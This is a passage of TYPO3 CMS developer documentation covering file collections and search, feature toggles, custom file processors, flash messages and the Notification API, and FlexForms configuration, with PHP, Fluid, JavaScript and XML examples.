        $queryParameterArray['p'] = $resourceObject->getUid();
        $queryParameterArray['token'] = $this->hashService->hmac(
            implode('|', $queryParameterArray),
            'resourceStorageDumpFile',
        );
        $publicUrl = GeneralUtility::locationHeaderUrl(PathUtility::getAbsoluteWebPath(Environment::getPublicPath() . '/index.php'));
        $publicUrl .= '?' . http_build_query($queryParameterArray, '', '&', PHP_QUERY_RFC3986);
        return $publicUrl;
    }
}
Copied!

The following restrictions apply:

  • You cannot assign any size parameter to processed files, as they are already resized.
  • You cannot apply crop variants to sys_file and sys_file_processedfile records, only to sys_file_reference

Working with collections

The \TYPO3\CMS\Core\Resource\ResourceFactory class provides a convenience method to retrieve a File Collection.

EXT:my_extension/Classes/CollectionExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Resource\ResourceFactory;

final class CollectionExample
{
    public function __construct(
        private readonly ResourceFactory $resourceFactory,
    ) {}

    public function doSomething(): void
    {
        // Get collection with uid 1
        $collection = $this->resourceFactory->getCollectionObject(1);

        // Load the contents of the collection
        $collection->loadContents();
    }
}
Copied!

In this example, we retrieve and load the content from the File Collection with a uid of "1". Any collection implements the \Iterator interface, which means that a collection can be looped over (once its content has been loaded). Thus, if the above code passed the $collection variable to a Fluid view, you could do the following:

<ul>
    <f:for each="{collection}" as="file">
        <li>{file.title}</li>
    </f:for>
</ul>
Copied!

Searching for files

An API is provided by the file abstraction layer (FAL) to search for files in a storage or folder. It includes matches in meta data of those files. The given search term is looked for in all search fields defined in TCA of sys_file and sys_file_metadata tables.

Searching for files in a folder

EXT:my_extension/Classes/SearchInFolderExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Folder;
use TYPO3\CMS\Core\Resource\InaccessibleFolder;
use TYPO3\CMS\Core\Resource\Search\FileSearchDemand;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class SearchInFolderExample
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function search($searchWord): void
    {
        $folder = $this->getFolderFromDefaultStorage('/some/path/in/storage/');

        $searchDemand = FileSearchDemand::createForSearchTerm($searchWord)->withRecursive();
        $files = $folder->searchFiles($searchDemand);

        // ... more logic
    }

    private function getFolderFromDefaultStorage(string $path): Folder|InaccessibleFolder
    {
        $defaultStorage = $this->storageRepository->getDefaultStorage();

        return $defaultStorage->getFolder($path);
    }
}
Copied!

Searching for files in a storage

EXT:my_extension/Classes/SearchInStorageExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Search\FileSearchDemand;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class SearchInStorageExample
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function search($searchWord): void
    {
        $storage = $this->storageRepository->getDefaultStorage();

        $searchDemand = FileSearchDemand::createForSearchTerm($searchWord)->withRecursive();
        $files = $storage->searchFiles($searchDemand);

        // ... more logic
    }
}
Copied!

Add additional restrictions

It is possible to further limit the result set, by adding additional restrictions to the FileSearchDemand. Please note, that FileSearchDemand is an immutable value object, but allows chaining methods for ease of use:

EXT:my_extension/Classes/SearchInStorageWithRestrictionsExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Search\FileSearchDemand;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class SearchInStorageWithRestrictionsExample
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function search($searchWord): void
    {
        $storage = $this->storageRepository->getDefaultStorage();

        // Get the 10 biggest files in the storage
        $searchDemand = FileSearchDemand::createForSearchTerm($searchWord)
            ->withRecursive()
            ->withMaxResults(10)
            ->addOrdering('sys_file', 'size', 'DESC');
        $files = $storage->searchFiles($searchDemand);

        // ... more logic
    }
}
Copied!

API

class FileSearchDemand
Fully qualified name
\TYPO3\CMS\Core\Resource\Search\FileSearchDemand

Immutable value object that represents a search demand for files.

create ( )
Returns
self
createForSearchTerm ( string $searchTerm)
param $searchTerm

the searchTerm

Returns
self
getSearchTerm ( )
Returns
?string
getFolder ( )
Returns
?\TYPO3\CMS\Core\Resource\Folder
getFirstResult ( )
Returns
?int
getMaxResults ( )
Returns
?int
getSearchFields ( )
Returns
?array
getOrderings ( )
Returns
?array
isRecursive ( )
Returns
bool
withSearchTerm ( string $searchTerm)
param $searchTerm

the searchTerm

Returns
self
withFolder ( \TYPO3\CMS\Core\Resource\Folder $folder)
param $folder

the folder

Returns
self
withStartResult ( int $firstResult)

Requests the position of the first result to retrieve (the "offset").

Same as in QueryBuilder it is the index of the result set, with 0 being the first result.

param $firstResult

the firstResult

Returns
self
withMaxResults ( int $maxResults)
param $maxResults

the maxResults

Returns
self
addSearchField ( string $tableName, string $field)
param $tableName

the tableName

param $field

the field

Returns
self
addOrdering ( string $tableName, string $fieldName, string $direction = 'ASC')
param $tableName

the tableName

param $fieldName

the fieldName

param $direction

the direction, default: 'ASC'

Returns
self
withRecursive ( )
Returns
self

Performance optimization in a custom driver

A driver capability \TYPO3\CMS\Core\Resource\Capabilities::CAPABILITY_HIERARCHICAL_IDENTIFIERS is available to implement an optimized search with good performance. Drivers can optionally add this capability in case the identifiers constructed by the driver include the directory structure. Adding this capability to drivers can provide a big performance boost when it comes to recursive search (which is the default in the file list and file browser UI).

Changed in version 13.0

The CAPABILITY_* constants from the class \TYPO3\CMS\Core\Resource\ResourceStorageInterface were removed and are now available via the class \TYPO3\CMS\Core\Resource\Capabilities .

File collections

File collections are collections of file references. They are used by the "File links" (download) content element.

A file links content element

A "File links" content element referencing a file collection

File collections are stored in the sys_file_collection table. The selected files are stored in the sys_file_reference table.

Note that a file collection may also reference a folder, in which case all files inside the folder will be returned when calling that collection.

A folder collection

A file collection referencing a folder

Collections API

The TYPO3 Core provides an API to enable usage of collections inside extensions. The most important classes are:

\TYPO3\CMS\Core\Resource\FileCollectionRepository
Used to retrieve collections. It is not exactly an Extbase repository but works in a similar way. The default "find" methods refer to the sys_file_collection table and will fetch "static"-type collections.
\TYPO3\CMS\Core\Resource\Collection\StaticFileCollection
This class models the static file collection. It is important to note that collections returned by the repository (described above) are "empty". If you need to access their records, you need to load them first, using method loadContents(). On top of some specific API methods, this class includes all setters and getters that you may need to access the collection's data. For accessing the selected files, just loop on the collection (see example).
\TYPO3\CMS\Core\Resource\Collection\FolderBasedFileCollection
Similar to the StaticFileCollection, but for file collections based on a folder.
\TYPO3\CMS\Core\Resource\Collection\CategoryBasedFileCollection
File collection based on a single category.

Example

The following example demonstrates the usage of collections. Here is what happens in the controller:

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace Collections;

use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Resource\FileCollectionRepository;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class MyController extends ActionController
{
    public function __construct(
        private readonly FileCollectionRepository $collectionRepository,
    ) {}

    /**
     * Renders the list of all existing collections and their content
     */
    public function listAction(): ResponseInterface
    {
        // Get all existing collections
        $collections = $this->collectionRepository->findAll() ?? [];

        // Load the records in each collection
        foreach ($collections as $aCollection) {
            $aCollection->loadContents();
        }

        // Assign the "loaded" collections to the view
        $this->view->assign('collections', $collections);

        return $this->htmlResponse();
    }
}
Copied!

All collections are fetched and passed to the view. The one specific step is the loop over all collections to load their referenced records. Remember that a collection is otherwise "empty".

In the view we can then either use collection member variables as usual (like their title) or put them directly in a loop to iterate over the record selection:

EXT:my_extension/Resources/Private/Templates/List.html
<f:section name="main">
    <ul class="collection with-header">
        <f:for each="{collections}" as="collection">
            <li class="collection-header">
                <h4>{collection.title} (Records from <code>{collection.itemTableName}</code>)</h4>
            </li>
            <f:for each="{collection}" as="record">
                <li class="collection-item">{record.name}</li>
            </f:for>
        </f:for>
    </ul>
</f:section>
Copied!

Here is what the result may look like (the exact result will obviously depend on the content of the selection):

Collections plugin output

Typical output from the "Collections" plugin

Feature toggle API

TYPO3 provides an API class for creating so-called "feature toggles". Feature toggles provide an easy way to add new implementations of features next to their legacy version. By using a feature toggle, the integrator or site administrator can decide when to switch to the new feature.

The API checks against a system-wide option array within $GLOBALS['TYPO3_CONF_VARS']['SYS']['features'] which an integrator or admininistrator can set in the config/system/settings.php file. Both TYPO3 Core and extensions can provide alternative functionality for a certain feature.

Examples for features are:

  • Throw exceptions in new code instead of just returning a string message as error message.
  • Disable obsolete functionality which might still be used, but slows down the system.
  • Enable alternative "page not found" handling for an installation.

Naming of feature toggles

Feature names should NEVER be named "enable" or have a negation, or contain versions or years. It is recommended to use "lowerCamelCase" notation for the feature names.

Bad examples:

  • enableFeatureXyz
  • disableOverlays
  • schedulerRevamped2018
  • useDoctrineQueries
  • disablePreparedStatements
  • disableHooksInFE

Good examples:

  • extendedRichtextFormat
  • nativeYamlParser
  • inlinePageTranslations
  • typoScriptParserIncludesAsXml
  • nativeDoctrineQueries

Using the API as extension author

For extension authors, the API can be used for any custom feature provided by an extension.

To register a feature and set the default state, add the following to the ext_localconf.php file of your extension:

EXT:some_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['myFeatureName'] ??= true; // or false;
Copied!

To check if a feature is enabled, use this code:

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Configuration\Features;

final class SomeClass {
    public function __construct(
        private readonly Features $features,
    ) {
    }

    public function doSomething(): void
    {
        if ($this->features->isFeatureEnabled('myFeatureName') {
            // do custom processing
        }

        // ...
    }
}
Copied!

The name can be any arbitrary string, but an extension author should prefix the feature with the extension name as the features are global switches which otherwise might lead to naming conflicts.

Core feature toggles

Some examples for feature toggles in the TYPO3 Core:

  • redirects.hitCount: Enables hit statistics in the redirects backend module
  • security.backend.enforceReferrer: If on, HTTP referrer headers are enforced for backend and install tool requests to mitigate potential same-site request forgery attacks.

Enable / disable feature toggle

Features can be toggled in the Admin Tools > Settings module via Feature Toggles:

Internally, the changes are written to config/system/settings.php:

config/system/settings.php
'SYS' => [
    'features' => [
        'redirects.hitCount' => true,
    ],
]
Copied!

Feature toggles in TypoScript

One can check whether a feature is enabled in TypoScript with the function feature():

EXT:some_extension/Configuration/TypoScript/setup.typoscript
[feature("unifiedPageTranslationHandling")]
    # This condition matches if the feature toggle "unifiedPageTranslationHandling" is true
[END]
Copied!

Feature toggles in Fluid

New in version 13.2

A new condition-based Fluid ViewHelper was added. It allows integrators to check for feature flags from within Fluid templates.

The Feature ViewHelper <f:feature> can be used to check for a feature in a Fluid template:

EXT:myExtension/Resources/Private/Templates/SomeTemplate.html
<f:feature name="unifiedPageTranslationHandling">
   This is being shown if the flag is enabled
</f:feature>
Copied!

Custom file processors

For custom needs in terms of file processing, registration of custom file processors is available.

Create a new processor class

The file must implement the \TYPO3\CMS\Core\Resource\Processing\ProcessorInterface and two required methods.

canProcessTask()
Will decide whether the given file should be handled at all. The expected return type is boolean.
processTask()
Will then do whatever needs to be done to process the given file.

Register the file processor

To register a new processor, add the following code to ext_localconf.php

$GLOBALS['TYPO3_CONF_VARS']['SYS']['fal']['processors']['MyNewImageProcessor'] = [
    'className' => \MyVendor\ExtensionName\Resource\Processing\MyNewImageProcessor::class,
    'before' => ['LocalImageProcessor'],
];
Copied!

With the before and after options, priority can be defined.

Flash messages

There exists a generic system to show users that an action was performed successfully, or more importantly, failed. This system is known as "flash messages". The screenshot below shows the various severity levels of messages that can be emitted.

The "EXT:examples" backend module shows one of each type of flash message

The different severity levels are described below:

  • Notifications are used to show very low severity information. Such information usually is so unimportant that it can be left out, unless running in some kind of debug mode.
  • Information messages are to give the user some information that might be good to know.
  • OK messages are to signal a user about a successfully executed action.
  • Warning messages show a user that some action might be dangerous, cause trouble or might have partially failed.
  • Error messages are to signal failed actions, security issues, errors and the like.

Further reading

Flash messages API

Instantiate a flash message

Creating a flash message is achieved by instantiating an object of class \TYPO3\CMS\Core\Messaging\FlashMessage :

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Messaging\FlashMessage;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Type\ContextualFeedbackSeverity;

// FlashMessage($message, $title = '', $severity = ContextualFeedbackSeverity::OK, $storeInSession = false)
$message = GeneralUtility::makeInstance(FlashMessage::class,
   'My message text',
   'Message Header',
   ContextualFeedbackSeverity::WARNING,
   true
);
Copied!
$message
The text of the message
$title
[optional] the header
$severity
[optional] the severity (default: ContextualFeedbackSeverity::OK)
$storeInSession
[optional] true: store in the session or false: store only in the \TYPO3\CMS\Core\Messaging\FlashMessageQueue object. Storage in the session should be used if you need the message to be still present after a redirection (default: false).

Flash messages severities

Changed in version 13.0

The previous class constants of \TYPO3\CMS\Core\Messaging\FlashMessage have been removed with TYPO3 v13.0.

The severity is defined by using the \TYPO3\CMS\Core\Type\ContextualFeedbackSeverity enumeration:

  • ContextualFeedbackSeverity::NOTICE for notifications
  • ContextualFeedbackSeverity::INFO for information messages
  • ContextualFeedbackSeverity::OK for success messages
  • ContextualFeedbackSeverity::WARNING for warnings
  • ContextualFeedbackSeverity::ERROR for errors

Add a flash message to the queue

In backend modules you can then make that message appear on top of the module after a page refresh or the rendering of the next page request or render it on your own where ever you want.

In this example the FlashMessageService ( \TYPO3\CMS\Core\Messaging\FlashMessageService ) is used to add a flash message at the bottom right of a module:

EXT:my_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Messaging\FlashMessageService;

$flashMessageService = GeneralUtility::makeInstance(FlashMessageService::class);
$messageQueue = $flashMessageService->getMessageQueueByIdentifier();
$messageQueue->addMessage($message);
Copied!

The message is added to the queue and then the template class calls \TYPO3\CMS\Core\Messaging\FlashMessageQueue::renderFlashMessages() which renders all messages from the queue as inline flash messages. Here's how such a message looks like in a module:

A typical (success) message shown at the top of a module

This shows flash messages with 2 types of rendering mechanisms:

  • several flash messages are displayed inline
  • and an additional flash message ("Record count") is rendered as top-right notification (which automatically disappear after a short delay).

Use the FlashMessageQueue::NOTIFICATION_QUEUE to submit a flash message as top-right notifications, instead of inline:

EXT:my_extension/Classes/Controller/MyController.php
use TYPO3\CMS\Core\Messaging\FlashMessage;
use TYPO3\CMS\Core\Messaging\FlashMessageQueue;
use TYPO3\CMS\Core\Messaging\FlashMessageService;
use TYPO3\CMS\Core\Type\ContextualFeedbackSeverity;
use TYPO3\CMS\Core\Utility\GeneralUtility;

$flashMessageService = GeneralUtility::makeInstance(FlashMessageService::class);
$notificationQueue = $flashMessageService->getMessageQueueByIdentifier(
    FlashMessageQueue::NOTIFICATION_QUEUE
);
$flashMessage = GeneralUtility::makeInstance(
    FlashMessage::class,
    'I am a message rendered as notification',
    'Hooray!',
    ContextualFeedbackSeverity::OK
);
$notificationQueue->enqueue($flashMessage);
Copied!

The recommended way to show flash messages is to use the Fluid ViewHelper <f:flashMessages />. This ViewHelper works in any context because it uses the FlashMessageRendererResolver class to find the correct renderer for the current context.

Flash messages in Extbase

In Extbase, the standard way of issuing flash messages is to add them in the controller. Code from the "examples" extension:

EXT:examples/Classes/Controller/ModuleController.php
$this->addFlashMessage('This is a simple success message');
Copied!

A more elaborate example:

EXT:examples/Classes/Controller/ModuleController.php
// use TYPO3\CMS\Core\Type\ContextualFeedbackSeverity;

$this->addFlashMessage(
   'This message is forced to be NOT stored in the session by setting the fourth argument to FALSE.',
   'Success',
   ContextualFeedbackSeverity::OK,
   false
);
Copied!

The messages are then displayed by Fluid with the FlashMessages ViewHelper <f:flashMessages>:

<div id="typo3-docbody">
   <div id="typo3-inner-docbody">
      <f:flashMessages />
      <f:render section="main" />
   </div>
</div>
Copied!

Where to display the flash messages in an Extbase-based backend module is as simple as moving the ViewHelper around.

By default, all messages are put into the scope of the current plugin namespace with a prefix extbase.flashmessages.. So if your plugin namespace is computed as tx_myvendor_myplugin, the flash message queue identifier will be extbase.flashmessages.tx_myvendor_myplugin.

Using explicit flash message queues in Extbase

It is possible to add a message to a different flash message queue. Use cases could be a detailed display of different flash message queues in different places of the page or displaying a flash message when you forward to a different controller or even a different extension.

If you need distinct queues, you can use a custom identifier to fetch and operate on that queue:

$customQueue = $this->getFlashMessageQueue('tx_myvendor_customqueue');
// Instead of using $this->addFlashMessage() you will instead directly
// access the custom queue:
$flashMessage = GeneralUtility::makeInstance(
        FlashMessage::class,
        'My flash message in a custom queue',
        'My flash message title of a custom queue',
        ContextualFeedbackSeverity::OK,
        $storeInSession = true,
);
$customQueue->enqueue($flashMessage);
Copied!

Fluid flash messages ViewHelper with explicit queue identifier

When you used an explicit flash message queue during enqueueing the message, it will only be displayed on the page if you use the same identifier in the FlashMessages ViewHelper <f:flashMessages>.

<f:flashMessages queueIdentifier="tx_myvendor_customqueue" />
Copied!

Flash messages renderer

The implementation of rendering FlashMessages in the Core has been optimized.

A new class called \TYPO3\CMS\Core\Messaging\FlashMessageRendererResolver has been introduced. This class detects the context and renders the given FlashMessages in the correct output format. It can handle any kind of output format. The Core ships with the following FlashMessageRenderer classes:

  • \TYPO3\CMS\Core\Messaging\Renderer\BootstrapRenderer This renderer is used by default in the TYPO3 backend. The output is based on Bootstrap markup.
  • \TYPO3\CMS\Core\Messaging\Renderer\ListRenderer This renderer is used by default in the TYPO3 frontend. The output is a simple <ul> list.
  • \TYPO3\CMS\Core\Messaging\Renderer\PlaintextRenderer This renderer is used by default in the CLI context. The output is plain text.

All new rendering classes have to implement the \TYPO3\CMS\Core\Messaging\Renderer\FlashMessageRendererInterface interface. If you need a special output format, you can implement your own renderer class and use it:

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use MyVendor\SomeExtension\Messaging\MySpecialRenderer;

$out = GeneralUtility::makeInstance(MySpecialRenderer::class)
   ->render($flashMessages);
Copied!

The Core has been modified to use the new FlashMessageRendererResolver. Any third party extension should use the provided FlashMessageViewHelper or the new FlashMessageRendererResolver class:

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Messaging\FlashMessageRendererResolver;

$out = GeneralUtility::makeInstance(FlashMessageRendererResolver::class)
   ->resolve()
   ->render($flashMessages);
Copied!

JavaScript-based flash messages (Notification API)

The TYPO3 Core provides a JavaScript-based API called Notification to trigger flash messages that appear in the bottom right corner of the TYPO3 backend. To use the notification API, load the TYPO3/CMS/Backend/Notification module and use one of its methods:

  • notice()
  • info()
  • success()
  • warning()
  • error()

All methods accept the same arguments:

title

| Condition: required | Type: string |

Contains the title of the notification.

message

| Condition: optional | Type: string | Default: '' |

The actual message that describes the purpose of the notification.

duration

| Condition: optional | Type: number | Default: '5 (0 for error())' |

The amount of seconds how long a notification will stay visible. A value of 0 disables the timer.

actions

| Condition: optional | Type: array | Default: '[]' |

Contains all actions that get rendered as buttons inside the notification.

Example:

EXT:some_extension/Resources/Public/JavaScript/flash-message-demo.js
import Notification from "@typo3/backend/notification.js";

class FlashMessageDemo {
  constructor() {
    Notification.success('Success', 'This flash message was sent via JavaScript', 5);
  }
}

export default new FlashMessageDemo();
Copied!

To stay compatible with both TYPO3 v11 and v12 the (deprecated) RequireJS module can still be used:

EXT:some_extension/Resources/Public/JavaScript/FlashMessageDemo.js
require(['TYPO3/CMS/Backend/Notification'], function (Notification) {
  Notification.success('Well done', 'Whatever you did, it was successful.');
});
Copied!

Actions

The notification API may bind actions to a notification that execute certain tasks when invoked. Each action item is an object containing the fields label and action:

label

| Condition: required | Type: string |

The label of the action item.

action

| Condition: required | Type: ImmediateAction|DeferredAction |

An instance of either ImmediateAction ( @typo3/backend/action-button/immediate-action.js) or DeferredAction ( @typo3/backend/action-button/deferred-action.js).

Immediate action

An action of type ImmediateAction ( @typo3/backend/action-button/immediate-action.js) is executed directly on click and closes the notification. This action type is suitable for e.g. linking to a backend module.

The class accepts a callback method executing very simple logic.

Example:

EXT:some_extension/Resources/Public/JavaScript/flash-message-immediate-action-demo.js
import Notification from "@typo3/backend/notification.js";
import ImmediateAction from "@typo3/backend/action-button/immediate-action.js";
import ModuleMenu from "@typo3/backend/module-menu.js";

class _flashMessageImmediateActionDemo {
  constructor() {
    const immediateActionCallback = new ImmediateAction(function () {
      ModuleMenu.App.showModule('web_layout');
    });

    Notification.info('Nearly there', 'You may head to the Page module to see what we did for you', 10, [
      {
        label: 'Go to module',
        action: immediateActionCallback
      }
    ]);
  }
}

export default new _flashMessageImmediateActionDemo();
Copied!

To stay compatible with both TYPO3 v11 and v12 the (deprecated) RequireJS module can still be used:

EXT:some_extension/Resources/Public/JavaScript/FlashMessageImmediateActionDemo.js
require(['TYPO3/CMS/Backend/Notification', 'TYPO3/CMS/Backend/ActionButton/ImmediateAction'], function (Notification, ImmediateAction) {
  const immediateActionCallback = new ImmediateAction(function () {
    require(['TYPO3/CMS/Backend/ModuleMenu'], function (ModuleMenu) {
      ModuleMenu.showModule('web_layout');
    });
  });

  Notification.info('Nearly there', 'You may head to the Page module to see what we did for you', 10, [
    {
      label: 'Go to module',
      action: immediateActionCallback
    }
  ]);
});
Copied!

Deferred action

An action of type DeferredAction ( @typo3/backend/action-button/deferred-action.js) is recommended when a long-lasting task is executed, e.g. an Ajax request.

This class accepts a callback method which must return a Promise (read more at developer.mozilla.org).

The DeferredAction replaces the action button with a spinner icon to indicate a task will take some time. It is still possible to dismiss the notification, which will not stop the execution.

Example:

EXT:some_extension/Resources/Public/JavaScript/flash-message-deferred-action-demo.js
import Notification from "@typo3/backend/notification.js";
import DeferredAction from "@typo3/backend/action-button/deferred-action.js";
import $ from 'jquery';

class _flashMessageDeferredActionDemo {
  constructor() {
    const deferredActionCallback = new DeferredAction(function () {
      return Promise.resolve($.ajax(/* Ajax configuration */));
    });

    Notification.warning('Goblins ahead', 'It may become dangerous at this point.', 10, [
      {
        label: 'Delete the internet',
        action: deferredActionCallback
      }
    ]);
  }
}

export default new _flashMessageDeferredActionDemo();
Copied!

To stay compatible with both TYPO3 v11 and v12 the (deprecated) RequireJS module can still be used:

EXT:some_extension/Resources/Public/JavaScript/FlashMessageDeferredActionDemo.js
require(['jquery', 'TYPO3/CMS/Backend/Notification', 'TYPO3/CMS/Backend/ActionButton/DeferredAction'], function ($, Notification, DeferredAction) {
  const deferredActionCallback = new DeferredAction(function () {
    return Promise.resolve($.ajax(/* Ajax configuration */));
  });

  Notification.warning('Goblins ahead', 'It may become dangerous at this point.', 10, [
    {
      label: 'Delete the internet',
      action: deferredActionCallback
    }
  ]);
});
Copied!

FlexForms

FlexForms can be used to store data within an XML structure inside a single DB column.

More information on this data structure is available in the section T3DataStructure.

FlexForms can be used to configure content elements (CE) or plugins, but they are optional so you can create plugins or content elements without using FlexForms.

Most of the configuration below is the same, whether you are adding configuration for a plugin or content element. The main difference is how addPiFlexFormValue() is used.

You may want to configure individual plugins or content elements differently, depending on where they are added. The configuration set via the FlexForm mechanism applies to only the content record it has been configured for. The FlexForms configuration for a plugin or CE can be changed by editors in the backend. This gives editors more control over plugin features and what is to be rendered.

Using FlexForms you have all the features of TCA, so it is possible to use input fields, select lists, show options conditionally and more.

Changed in version 13.0

The superfluous tag TCEforms was removed and is not evaluated anymore. Its sole purpose was to wrap real TCA definitions. The TCEforms tags must be removed upon dropping TYPO3 v11 support.

Example use cases

The bootstrap_package uses FlexForms to configure rendering options, e.g. a transition interval and transition type (slide, fade) for the carousel content element.

The carousel content element of EXT:bootstrap_package

Another extensions that utilize FlexForms and can be used as example is:

How it works

  1. In the extension, a configuration schema is defined and attached to one or more content elements or plugins.
  2. When the CE or plugin is added to a page, it can be configured as defined by the configuration schema.
  3. The configuration for this content element is automatically saved to tt_content.pi_flexform.
  4. The extension can read current configuration and act according to the configuration.

Steps to perform (extension developer)

  1. Create configuration schema in T3DataStructure format (XML)

    Example:

    EXT:examples/Configuration/Flexforms/PluginHaikuList.xml
    <T3DataStructure>
        <sheets>
            <sDEF>
                <ROOT>
                    <sheetTitle>
                        LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:examples.pi_flexform.sheetGeneral
                    </sheetTitle>
                    <type>array</type>
                    <el>
                        <settings.singlePid>
                            <label>
                                LLL:EXT:examples/Resources/Private/Language/PluginHaiku/locallang_db.xlf:singlePageUid
                            </label>
                            <config>
                                <type>group</type>
                                <allowed>pages</allowed>
                                <maxitems>1</maxitems>
                                <minitems>0</minitems>
                                <size>1</size>
                                <suggestOptions>
                                    <default>
                                        <additionalSearchFields>nav_title, alias, url</additionalSearchFields>
                                        <addWhere>AND pages.doktype = 1</addWhere>
                                    </default>
                                </suggestOptions>
                            </config>
                        </settings.singlePid>
                    </el>
                </ROOT>
            </sDEF>
        </sheets>
    </T3DataStructure>
    Copied!
  2. The configuration schema is attached to one or more plugins in the folder Configuration/TCA/Overrides of an extension.

    Example for the FlexForm registration of a basic plugin:

    EXT:examples/Configuration/TCA/Overrides/tt_content_plugin_haiku_list.php
    <?php
    
    /*
     * This file is part of the TYPO3 CMS project. [...]
     */
    
    use TYPO3\CMS\Core\Schema\Struct\SelectItem;
    use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;
    
    /*
     * This file is part of the TYPO3 CMS project. [...]
     */
    
    defined('TYPO3') or die();
    
    $pluginSignature = 'examples_haiku_list';
    
    ExtensionManagementUtility::addPlugin(
        new SelectItem(
            'select',
            'LLL:EXT:examples/Resources/Private/Language/PluginHaiku/locallang_db.xlf:list.title',
            $pluginSignature,
            'tx_examples-haiku',
            'plugins',
            'LLL:EXT:examples/Resources/Private/Language/PluginHaiku/locallang_db.xlf:list.description',
        ),
        'CType',
        'examples',
    );
    
    ExtensionManagementUtility::addToAllTCAtypes(
        'tt_content',
        '--div--;Configuration,pi_flexform,',
        $pluginSignature,
        'after:subheader',
    );
    
    ExtensionManagementUtility::addPiFlexFormValue(
        '*',
        'FILE:EXT:examples/Configuration/Flexforms/PluginHaikuList.xml',
        $pluginSignature,
    );
    Copied!

    When registering Extbase plugins you can use the return value of ExtensionUtility::registerPlugin() to figure out the plugin signature to use:

    EXT:blog_example/Configuration/TCA/Overrides/tt_content.php (Excerpt)
    $pluginSignature = ExtensionUtility::registerPlugin(
        'blog_example',
        'Pi1',
        'A Blog Example',
    );
    $GLOBALS['TCA']['tt_content']['types']['list']['subtypes_addlist'][$pluginSignature]
        = 'pi_flexform';
    ExtensionManagementUtility::addPiFlexFormValue(
        $pluginSignature,
        'FILE:EXT:blog_example/Configuration/FlexForms/PluginSettings.xml'
    );
    Copied!

    If you are using a content element with a custom CType (recommend, both with and without Extbase), the example looks like this:

    EXT:my_extension/Configuration/TCA/Overrides/tt_content.php
    \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addPiFlexFormValue(
        '*',
        // FlexForm configuration schema file
        'FILE:EXT:example/Configuration/FlexForms/Registration.xml',
        // ctype
        'accordion'
    );
    Copied!

    Finally, according to "Configuration of the displayed order of fields in FormEngine and their tab alignment." the field containing the FlexForm still needs to be added to the showitem directive. The following example shows line from the accordion element of the Bootstrap Package.

    EXT:your_extension/Configuration/TCA/Overrides/tt_content.php
    // Configure element type
    $GLOBALS['TCA']['tt_content']['types']['accordion'] = array_replace_recursive(
        $GLOBALS['TCA']['tt_content']['types']['accordion'],
        [
            'showitem' => '
                --div--;General,
                --palette--;General;general,
                --palette--;Headers;headers,
                tx_bootstrappackage_accordion_item,
                --div--;Options,
                pi_flexform'
        ]
    );
    Copied!
  3. Access the settings in your extension:

    The settings can be read using one of the methods described below, e.g. from an Extbase controller action, from a PHP function (without using the Extbase framework), from TypoScript or from within a Fluid template.

More examples

The definition of the data types and parameters used complies to the column types defined by TCA.

The settings must be added within the <el> element in the FlexForm configuration schema file.

Select field

<settings.orderBy>
    <label>
        LLL:EXT:example/Resources/Private/Language/Backend.xlf:settings.registration.orderBy
    </label>
    <config>
        <type>select</type>
        <renderType>selectSingle</renderType>
        <items>
            <numIndex index="0">
                <label>
                    LLL:EXT:example/Resources/Private/Language/Backend.xlf:settings.registration.orderBy.crdate
                </label>
                <value>crdate</value>
            </numIndex>
            <numIndex index="1">
                <label>
                    LLL:EXT:example/Resources/Private/Language/Backend.xlf:settings.registration.orderBy.title
                </label>
                <value>title</value>
            </numIndex>
        </items>
    </config>
</settings.orderBy>
Copied!

Populate a select field with a PHP Function (itemsProcFunc)

<settings.orderBy>
    <label>
        LLL:EXT:example/Resources/Private/Language/Backend.xlf:settings.registration.orderBy
    </label>
    <config>
        <type>select</type>
        <itemsProcFunc>MyVendor\Example\Backend\ItemsProcFunc->user_orderBy
        </itemsProcFunc>
        <renderType>selectSingle</renderType>
        <items>
            <!-- empty by default -->
        </items>
    </config>
</settings.orderBy>
Copied!

The function user_orderBy populates the select field in Backend/ItemsProcFunc.php:

class ItemsProcFunc
{
     /**
     * Modifies the select box of orderBy-options.
     *
     * @param array &$config configuration array
     */
    public function user_orderBy(array &$config)
    {
        // simple and stupid example
        // change this to dynamically populate the list!
        $config['items'] = [
            // label, value
            ['Timestamp', 'timestamp'],
            ['Title', 'title']
        ];
    }

    // ...
}
Copied!

How this looks when configuring the plugin:

Display fields conditionally (displayCond)

Some settings may only make sense, depending on other settings. For example in one setting you define a sorting order (by date, title etc.) and all sort orders except "title" have additional settings. These should only be visible, if sort order "title" was not selected.

You can define conditions using displayCond. This dynamically defines whether a setting should be displayed when the plugin is configured. The conditions may for example depend on one or more other settings in the FlexForm, on database fields of current record or be defined by a user function.

<config>
    <type>select</type>
</config>
<!-- Hide field if value of neighbour field "settings.orderBy" on same sheet is not "title" -->
<displayCond>FIELD:settings.orderBy:!=:title</displayCond>
Copied!

Again, the syntax and available fields and comparison operators is documented in the TCA reference:

Reload on change

